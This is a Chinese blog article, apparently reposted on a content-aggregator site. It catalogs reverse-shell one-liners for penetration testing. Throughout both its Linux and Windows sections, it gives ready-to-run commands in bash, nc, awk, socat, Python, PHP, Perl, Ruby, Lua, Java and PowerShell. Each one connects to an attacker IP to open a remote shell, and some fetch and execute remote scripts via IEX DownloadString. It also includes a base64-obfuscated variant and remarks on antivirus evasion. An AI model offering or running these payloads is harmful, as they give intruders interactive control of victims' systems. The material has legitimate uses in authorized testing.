反弹shell的几种姿势小结

在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入,本文就介绍了几种方法,感兴趣的可以了解一下

反弹shell的几种姿势小结,久久派带你了解更多相关信息。

目录
  • Linux 反弹shell
  • Windows反弹shell

在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。

反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步。所有姿势整理自网络,假设,攻击者主机为:192.168.99.242,本地监听1234端口,如有特殊情况以下会备注说明。

Linux 反弹shell

姿势一:bash反弹

bash -i >& /dev/tcp/192.168.99.242/1234 0>&1base64版:bash -c \'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}\'

在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

其他版本:

exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5;doneexec /bin/sh 0</dev/tcp/192.168.99.242/1234 1>&0 2>&0

姿势二:nc反弹

nc -e /bin/bash 192.168.99.242 1234

姿势三:awk反弹

awk \'BEGIN{s=\"/inet/tcp/0/192.168.99.242/1234\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}\'

姿势四:telnet反弹

备注:需要在攻击主机上分别监听1234和4321端口,执行反弹shell命令后,在1234终端输入命令,4321查看命令执行后的结果。

telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321

姿势五:socat反弹

socat exec:\'bash -li\',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234

姿势六:Python反弹

python -c \"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'192.168.99.242\',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\'/bin/bash\',\'-i\']);\"

姿势七:PHP反弹

php -r \'$sock=fsockopen(\"192.168.99.242\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");\'

姿势八:Perl反弹

perl -e \'use Socket;$i=\"192.168.99.242\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};\'

姿势九:Ruby反弹

ruby -rsocket -e\'f=TCPSocket.open(\"192.168.99.242\",1234).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)\'

姿势十:Lua反弹

lua -e \"require(\'socket\');require(\'os\');t=socket.tcp();t:connect(\'192.168.99.242\',\'1234\');os.execute(\'/bin/sh -i <&3 >&3 2>&3\');\"

姿势十一:JAVA反弹

public class Revs {    /**    * @param args    * @throws Exception     */public static void main(String[] args) throws Exception {        // TODO Auto-generated method stub        Runtime r = Runtime.getRuntime();        String cmd[]= {\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5; done\"};        Process p = r.exec(cmd);        p.waitFor();    }}

保存为Revs.java文件,编译执行,成功反弹shell。

javac Revs.java java Revs

Windows反弹shell

姿势一:nc反弹

netcat 下载:https://eternallybored.org/misc/netcat/

服务端反弹:nc 192.168.99.242 1234 -e c:\\windows\\system32\\cmd.exe

姿势二:powershell反弹

powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。

PS C:\\WWW>powershell IEX (New-Object System.Net.Webclient).DownloadString(\'https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1\'); powercat -c 192.168.99.242 -p 1234 -e cmd

下载到目标机器本地执行:

PS C:\\WWW> Import-Module ./powercat.ps1PS C:\\WWW> powercat -c 192.168.99.242 -p 1234 -e cmd

姿势三:MSF反弹shell

使用msfvenom生成相关Payload

msfvenom -l payloads | grep \'cmd/windows/reverse\'msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234

姿势四:Cobalt strike反弹shell

1、配置监听器:点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners,点击add。
2、生成payload:点击Attacks——>Packages——>Windows Executable,保存文件位置。
3、目标机执行powershell payload

姿势五:Empire反弹shell

usestager windows/launcher_vbsinfoset Listener testexecute

姿势六:nishang反弹shell

Reverse TCP shell:

powershell IEX (New-Object Net.WebClient).DownloadString(\'https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1\'); Invoke-PowerShellTcp -Reverse -IPAddress 10.1.1.210 -port 1234

Reverse UDP shell:

powershell IEX (New-Object Net.WebClient).DownloadString(\'https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1\');Invoke-PowerShellUdp -Reverse -IPAddress 10.1.1.210 -port 1234

姿势七:Dnscat反弹shell

github项目地址:

https://github.com/iagox86/dnscat2

服务端:

ruby dnscat2.rb --dns \"domain=lltest.com,host=xx.xx.xx.xx\" --no-cache -e open -e open 

目标主机:

powershell IEX (New-Object System.Net.Webclient).DownloadString(\'https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1\');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx

到此这篇关于反弹shell的几种姿势小结的文章就介绍到这了,更多相关反弹shell内容请搜索趣讯吧以前的文章或继续浏览下面的相关文章希望大家以后多多支持趣讯吧!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,请发送邮件至 5579166@qq.com 举报,一经查实,本站将立刻删除。转转请注明出处:https://www.szhjjp.com/n/8634.html

(0)
上一篇 2021-07-30 23:24:06
下一篇 2021-07-30 23:24:08

相关推荐

  • 福建疫情传播很快(工作组专家称福建疫情形势严峻复杂)

    国家卫健委派出的赴福建工作组专家判断,①目前莆田疫情形势严峻复杂,后续在社区、学校、工厂等人群中继续发现病例的可能性高,疫情存在外溢风险;②#枫亭镇形成2个疫情集中传播点#:最早发现病例的小学和镇内某鞋厂,都是人员密集场所;③此次疫情首先在

    2021-12-13
    740
  • 分销是什么意思(分销的三种方式)

    分销,即建立销售渠道的意思。根据营销大师科特勒定的定义:分销渠道(DistributionChannel)也被称作为营销渠道(MarketingChannel),是指某种商品或服务从生产者向消费者转移过程中,以专业性的技能帮助生产转移的企业或个人

    2021-12-31
    1500
  • 唯品会化妆品是正品吗(唯品会买化妆品可靠吗)

    唯品会的化妆品是正品。唯品会所销售的商品均从品牌方、代理商、品牌分支机构、国际品牌驻中国办事处等正规渠道采购,并与之签订战略正品采购协议。唯品会采用线上销售模式,通过唯品会自营的网络平台直接销售厂商商品,同时由于唯品会与品牌方、厂商之间,经过长期合作

    2021-12-31
    980
  • 高通最新处理器是多少(高通骁龙处理器排行)

    如今,在智能手机市场,不仅华为、小米、OPPO、vivo、三星等智能手机厂商正在进行激烈的较量,对于联发科、高通这两大芯片供应商,同样面临着激烈的竞争。其中,就联发科来说,旗下的联发科天玑900芯片、天玑920芯片、天玑810芯片等,就在最近一段时间

    2021-11-04 用户投稿
    2110
  • 天津开始清理小产权房(怎样清理小产权房)

    怎样清理小产权房(天津开始清理小产权房)2021-04-1406:18成安发布4月13日,政府副县长高献刚、县法院院长李爱忠一行先后到史庄村、西街、南街、东关南、东关东、衙前街等村实地督导小产权房治理工作。此次集中行动中,城管局、公安局、法院、检察院等部门出动100余人,高献刚在行动前希望参加行动的工作人员要统一思想、提高认识,工作中要敢于碰硬,对产生重大影响、顶风违纪者坚决依法严厉打击。高献刚

    2021-09-09 用户投稿
    2210
  • 审核不通过有几点必须要知道(中视频伙伴计划)

    中视频伙伴计划,正在进行中,很多朋友想通过加入中视频计划,作为副业来做,中视频项目最大的亮点,你做了一个视频内容,同步分发在头条跟抖音,如果你在抖音的播放量达到100万播放,那么这100万播放也是有收益的。所以说,目前中视频计划这个风口很多

    2021-10-24 用户投稿
    1460

发表评论

登录后才能评论